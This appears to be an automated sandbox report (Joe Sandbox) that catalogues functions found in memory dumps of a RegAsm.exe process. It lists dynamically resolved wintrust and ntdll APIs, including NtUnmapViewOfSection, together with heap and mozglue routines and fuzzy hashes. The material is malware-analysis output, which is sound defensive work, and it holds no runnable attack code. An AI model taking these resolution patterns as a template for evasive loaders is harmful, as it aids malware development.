Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminEnumCatalogFromHash$wintrust.dll
API String ID: 145871493-1536241729
Opcode ID: 46739b18d1c6261d482b4fd4de313b57190d38b6a147baf05ce5042558f9b326
Instruction ID: 30cfd48577c89113059ebffb96b2dd8cf60b9932b6736e5ee7aac4590c748b49
Opcode Fuzzy Hash: 46739b18d1c6261d482b4fd4de313b57190d38b6a147baf05ce5042558f9b326
Instruction Fuzzy Hash: D3E01A743092449FEF046F69E8087023AFCA70B328F944525AD05D6B00D779C0208F90

Function 6C310170 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6C2E7308), ref: 6C310178
GetProcAddress.KERNEL32(00000000,CryptCATCatalogInfoFromContext), ref: 6C310197
FreeLibrary.KERNEL32(?,6C2E7308), ref: 6C3101AE

Strings

CryptCATCatalogInfoFromContext, xrefs: 6C310191
wintrust.dll, xrefs: 6C310173

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATCatalogInfoFromContext$wintrust.dll
API String ID: 145871493-3354427110
Opcode ID: 5475f1e9694d2841532aecb642162b2109694226beb7e3ae865c7a0225a3758b
Instruction ID: 6c2d90421e0faff48cad6af6d12b35307749aeb4edae04b6c8c3accf382efce8
Opcode Fuzzy Hash: 5475f1e9694d2841532aecb642162b2109694226beb7e3ae865c7a0225a3758b
Instruction Fuzzy Hash: FAE01A747852409FEF445F25D908B023BFCB70B359F941426E98199B40D77980608E60

Function 6C3101C0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6C2E7266), ref: 6C3101C8
GetProcAddress.KERNEL32(00000000,CryptCATAdminReleaseContext), ref: 6C3101E7
FreeLibrary.KERNEL32(?,6C2E7266), ref: 6C3101FE

Strings

wintrust.dll, xrefs: 6C3101C3
CryptCATAdminReleaseContext, xrefs: 6C3101E1

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminReleaseContext$wintrust.dll
API String ID: 145871493-1489773717
Opcode ID: 57d09c5ac877ccd93a68af5285579412a815d5347feeb5ad3fd3d5070c0d551f
Instruction ID: 36abbe23c88011bb5211f669e1ef39122c556dfb02c78137c149eb2b115786b2
Opcode Fuzzy Hash: 57d09c5ac877ccd93a68af5285579412a815d5347feeb5ad3fd3d5070c0d551f
Instruction Fuzzy Hash: D3E01A743843819FEF046F259808B023AFCAB0B359F904425EA05C6A41DB7980248F51

Function 6C33C410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C33C0E9), ref: 6C33C418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6C33C437
FreeLibrary.KERNEL32(?,6C33C0E9), ref: 6C33C44C

Strings

NtQueryVirtualMemory, xrefs: 6C33C431
ntdll.dll, xrefs: 6C33C413

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: a1f51b549ed33a3e7568f016a848b986d2e89da048a87759a837f44e35018927
Instruction ID: 913ba489b9f580f3876a4347b770173badd73264342ce9bca5ab1ce980550faf
Opcode Fuzzy Hash: a1f51b549ed33a3e7568f016a848b986d2e89da048a87759a837f44e35018927
Instruction Fuzzy Hash: 96E0B6707023219BDF017F71E908B157BFCB70E208F889216EA0996701EBB6D0148F50

Function 6C3375B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C33748B,?), ref: 6C3375B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 6C3375D7
FreeLibrary.KERNEL32(?,6C33748B,?), ref: 6C3375EC

Strings

RtlNtStatusToDosError, xrefs: 6C3375D1
ntdll.dll, xrefs: 6C3375B3

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
API String ID: 145871493-3641475894
Opcode ID: 7606cb9de83e6f16ad71d4b09ad424ddb62cf5b890a0d4604da9c7613318ab29
Instruction ID: 1a5298bab84771ef8d5027b2aeb0092f4ad407a276355e960617f944a9bb713e
Opcode Fuzzy Hash: 7606cb9de83e6f16ad71d4b09ad424ddb62cf5b890a0d4604da9c7613318ab29
Instruction Fuzzy Hash: BEE0B675700301EFEF046FA2E948B027AFCEB0B298FA45025E905E5680EBB59052CF60

Function 6C337600 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C337592), ref: 6C337608
GetProcAddress.KERNEL32(00000000,NtUnmapViewOfSection), ref: 6C337627
FreeLibrary.KERNEL32(?,6C337592), ref: 6C33763C

Strings

NtUnmapViewOfSection, xrefs: 6C337621
ntdll.dll, xrefs: 6C337603

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtUnmapViewOfSection$ntdll.dll
API String ID: 145871493-1050664331
Opcode ID: 2213aa4552d034bfceead1950e7b4a0cde3493a62f4d4b81abe68ac5221a19d1
Instruction ID: fd234af97a7cb78814c8e418afe4b8844175153f2104909c86aef24a556fb684
Opcode Fuzzy Hash: 2213aa4552d034bfceead1950e7b4a0cde3493a62f4d4b81abe68ac5221a19d1
Instruction Fuzzy Hash: 48E092B0700341AFDF006FA6A908B017EBCE71B299F945515E909D6640E7B5D0108F54

Function 6C33C1F0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6C33C1DE,?,00000000,?,00000000,?,6C2E779F), ref: 6C33C1F8
GetProcAddress.KERNEL32(00000000,WinVerifyTrust), ref: 6C33C217
FreeLibrary.KERNEL32(?,6C33C1DE,?,00000000,?,00000000,?,6C2E779F), ref: 6C33C22C

Strings

wintrust.dll, xrefs: 6C33C1F3
WinVerifyTrust, xrefs: 6C33C211

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: WinVerifyTrust$wintrust.dll
API String ID: 145871493-2991032369
Opcode ID: 07224652bdc6dcf68ec49fa508e1e7282a0a61398ef056f8acf3e0ade1344169
Instruction ID: 2faeaade8493ed6b1ca3fc54c0e07a1f0afbfb05388b5f5795dcfcb245c5f965
Opcode Fuzzy Hash: 07224652bdc6dcf68ec49fa508e1e7282a0a61398ef056f8acf3e0ade1344169
Instruction Fuzzy Hash: 2CE092753013919BDF007F61A908B027EFCAF0A208FD90615E905D6602E7B580108B54

Function 6C33C240 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6C2E77F6), ref: 6C33C248
GetProcAddress.KERNEL32(00000000,CryptCATAdminAcquireContext), ref: 6C33C267
FreeLibrary.KERNEL32(?,6C2E77F6), ref: 6C33C27C

Strings

wintrust.dll, xrefs: 6C33C243
CryptCATAdminAcquireContext, xrefs: 6C33C261

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminAcquireContext$wintrust.dll
API String ID: 145871493-3357690181
Opcode ID: 84f4fb03192f277720979d28fbdd23571d2ab1038cfbc450164af72a830e1a8a
Instruction ID: 0ff7ff8cf1abcb7d3e632cfdf52ffd9987adcced1a506c35a55074b2a31148e8
Opcode Fuzzy Hash: 84f4fb03192f277720979d28fbdd23571d2ab1038cfbc450164af72a830e1a8a
Instruction Fuzzy Hash: 88E0E2743003119BEF087FA2E808B027EFCF70F309FA44929EA09D6A01EBB580509F54

Function 6C33BAB0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(kernelbase.dll,?,6C2E05BC), ref: 6C33BAB8
GetProcAddress.KERNEL32(00000000,VirtualAlloc2), ref: 6C33BAD7
FreeLibrary.KERNEL32(?,6C2E05BC), ref: 6C33BAEC

Strings

kernelbase.dll, xrefs: 6C33BAB3
VirtualAlloc2, xrefs: 6C33BAD1

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: VirtualAlloc2$kernelbase.dll
API String ID: 145871493-1188699709
Opcode ID: 6c773735f85f181732bd02f907bc7d920bdf365f3cdc4b7fb5fe32142884e484
Instruction ID: d3a0b0892b275ee714e64d608d1e73837526b70a9d8f9069680b6b728cb9846a
Opcode Fuzzy Hash: 6c773735f85f181732bd02f907bc7d920bdf365f3cdc4b7fb5fe32142884e484
Instruction Fuzzy Hash: 9BE0B670301782ABDF009F62E918B267BFCAB0B20CF98001AE90595700EBB980148F50

Function 6C33BE50 Relevance: 7.7, APIs: 5, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?,?,6C33BE49), ref: 6C33BEC4
RtlCaptureStackBackTrace.NTDLL ref: 6C33BEDE
memset.VCRUNTIME140(00000000,00000000,-00000008,?,6C33BE49), ref: 6C33BF38
RtlReAllocateHeap.NTDLL ref: 6C33BF83
RtlFreeHeap.NTDLL(6C33BE49,00000000), ref: 6C33BFA6

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: Heapmemset$AllocateBackCaptureFreeStackTrace
String ID:
API String ID: 2764315370-0
Opcode ID: 45469fb40c44e1aee1a124f2ff172b60b41e262da26e45e903302c7a73c6fd45
Instruction ID: 75ee3ebe2c35565284e8bb2297347b67e3a5f3a2ae55aa326738a91449d597de
Opcode Fuzzy Hash: 45469fb40c44e1aee1a124f2ff172b60b41e262da26e45e903302c7a73c6fd45
Instruction Fuzzy Hash: 7951C571B006658FE710CF68CC80BAAB3A6FF84318F295639D5599BB54D731F9068F90

Function 6C328E00 Relevance: 7.6, APIs: 6, Instructions: 147COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,?,6C31B58D,?,?,?,?,?,?,?,6C34D734,?,?,?,6C34D734), ref: 6C328E6E
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C31B58D,?,?,?,?,?,?,?,6C34D734,?,?,?,6C34D734), ref: 6C328EBF
free.MOZGLUE(?,?,?,?,6C31B58D,?,?,?,?,?,?,?,6C34D734,?,?,?), ref: 6C328F24
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C31B58D,?,?,?,?,?,?,?,6C34D734,?,?,?,6C34D734), ref: 6C328F46
free.MOZGLUE(?,?,?,?,6C31B58D,?,?,?,?,?,?,?,6C34D734,?,?,?), ref: 6C328F7A
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C31B58D,?,?,?,?,?,?,?,6C34D734,?,?,?), ref: 6C328F8F

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 6d082ae185ff1950e481fb467f570a7427ebf15edbceeaeecd63d24e404e5b02
Instruction ID: 44f1e8c4860bc03979800bf632384e2be008bbac390202bd53349a7ad7168a4f
Opcode Fuzzy Hash: 6d082ae185ff1950e481fb467f570a7427ebf15edbceeaeecd63d24e404e5b02
Instruction Fuzzy Hash: B551A3B2A012159FEF20CF54E8807AEB7B6BF44718F15052AD916AB740E736F905CF92

Function 6C2E60E0 Relevance: 7.6, APIs: 6, Instructions: 141COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,00000000,?,6C2E5FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C2E60F4
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,00000000,?,6C2E5FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C2E6180
free.MOZGLUE(?,?,?,?,6C2E5FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C2E6211
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,00000000,?,6C2E5FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C2E6229
free.MOZGLUE(?,?,?,?,6C2E5FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C2E625E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C2E5FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C2E6271

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: d60b9b9932d0f838fc4e7892027245ed7d71f16e8c42b09222b9e51c1c7a41e1
Instruction ID: 2fd1e17fd9b3b086169155627c96226bd8f6529da27911175c5cb03bff90f21f
Opcode Fuzzy Hash: d60b9b9932d0f838fc4e7892027245ed7d71f16e8c42b09222b9e51c1c7a41e1
Instruction Fuzzy Hash: BA516BB1A0020E8FEB14CF68D8C07AEB7B5AF49308F540439DA16EB711E731E958CB61

Function 6C3227E0 Relevance: 7.6, APIs: 6, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C322620,?,?,?,6C3160AA,6C315FCB,6C3179A3), ref: 6C32284D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C322620,?,?,?,6C3160AA,6C315FCB,6C3179A3), ref: 6C32289A
free.MOZGLUE(?,?,?,6C322620,?,?,?,6C3160AA,6C315FCB,6C3179A3), ref: 6C3228F1
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C322620,?,?,?,6C3160AA,6C315FCB,6C3179A3), ref: 6C322910
free.MOZGLUE(00000001,?,?,6C322620,?,?,?,6C3160AA,6C315FCB,6C3179A3), ref: 6C32293C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00200000,?,?,6C322620,?,?,?,6C3160AA,6C315FCB,6C3179A3), ref: 6C32294E

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 470d93d53250c9d671ebc6b6c2965d96311ed86d7b46fb695e0a1cf678f7bc1c
Instruction ID: 756063752c05eb6da6e9798e859992d469c1f2660ffaf9352e4d830ca74a1670
Opcode Fuzzy Hash: 470d93d53250c9d671ebc6b6c2965d96311ed86d7b46fb695e0a1cf678f7bc1c
Instruction Fuzzy Hash: E041CFB1A102068BEF14CF68DD8436A73F6EB45328F140539D956EB740E736E914CF61

Function 6C2DCFE0 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 134memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C35E784), ref: 6C2DCFF6
LeaveCriticalSection.KERNEL32(6C35E784), ref: 6C2DD026
VirtualAlloc.KERNEL32(00000000,00100000,00001000,00000004), ref: 6C2DD06C
VirtualFree.KERNEL32(00000000,00100000,00004000), ref: 6C2DD139

Strings

MOZ_CRASH(), xrefs: 6C2DD187

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: CriticalSectionVirtual$AllocEnterFreeLeave
String ID: MOZ_CRASH()
API String ID: 1090480015-2608361144
Opcode ID: b9f4d7d83fb266f2c334feab4b6423c81baacb921f0ea312ec08e4657c80afcd
Instruction ID: d32aea56578c68ed5898688f088e00d4642b75fe2653c3061201fb9ec1718fbf
Opcode Fuzzy Hash: b9f4d7d83fb266f2c334feab4b6423c81baacb921f0ea312ec08e4657c80afcd
Instruction Fuzzy Hash: 4F41DF32B4171A4FCB04CE7C8C9076A76B8EB59714F560139EE18E7784D7B6AC008BE1

Function 6C2D4DE0 Relevance: 7.6, APIs: 5, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C2D4E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C2D4E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C2D4EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C2D4F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6C2D4F1E

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID:
API String ID: 713647276-0
Opcode ID: e7e3d17e636993467ccfbe865b1633bb6c67bc552985e2c1face96124355bbd0
Instruction ID: 16b4e6fc1c8cc5076db9bce6122b97beec0f1782ce64e21314db06dec5d2a41f
Opcode Fuzzy Hash: e7e3d17e636993467ccfbe865b1633bb6c67bc552985e2c1face96124355bbd0
Instruction Fuzzy Hash: DD41DF7160870AAFC705CF29C88095BBBE4BF99344F118A2DF8A597651DB30F918CB92

Function 004108A0 Relevance: 7.6, APIs: 5, Instructions: 120stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 004108C8
strtok_s.MSVCRT ref: 00410A0D

Part of subcall function 0041A1F0: lstrlenA.KERNEL32(00000000,?,?,00415634,00420AC3,00420AC2,?,?,004165B6,00000000,?,00EEAB28,?,004210DC,?,00000000), ref: 0041A1FB
Part of subcall function 0041A1F0: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A255

Memory Dump Source

Source File: 00000002.00000002.2377548003.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2377548003.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: strtok_s$lstrcpylstrlen
String ID:
API String ID: 348468850-0
Opcode ID: 42d321782c53f0fa81e9a62699b5af1b66fb3423f592c4a0631ea9e37903c378
Instruction ID: a4e7387e48c2c71d0e19e82ff460fffa0707391e6f0b4b4f43623f0e69075298
Opcode Fuzzy Hash: 42d321782c53f0fa81e9a62699b5af1b66fb3423f592c4a0631ea9e37903c378
Instruction Fuzzy Hash: 62515AB5A04209DFCB08CF54D495AEE7BB5FF58308F10806AE802AB351D774EAD1CB95

Function 00409E60 Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 115memoryCOMMON

Download Yara Rule

APIs

memcmp.MSVCRT ref: 00409E7B
memset.MSVCRT ref: 00409EAE
LocalAlloc.KERNEL32(00000040,?), ref: 00409EFE

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A1F0: lstrlenA.KERNEL32(00000000,?,?,00415634,00420AC3,00420AC2,?,?,004165B6,00000000,?,00EEAB28,?,004210DC,?,00000000), ref: 0041A1FB
Part of subcall function 0041A1F0: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A255

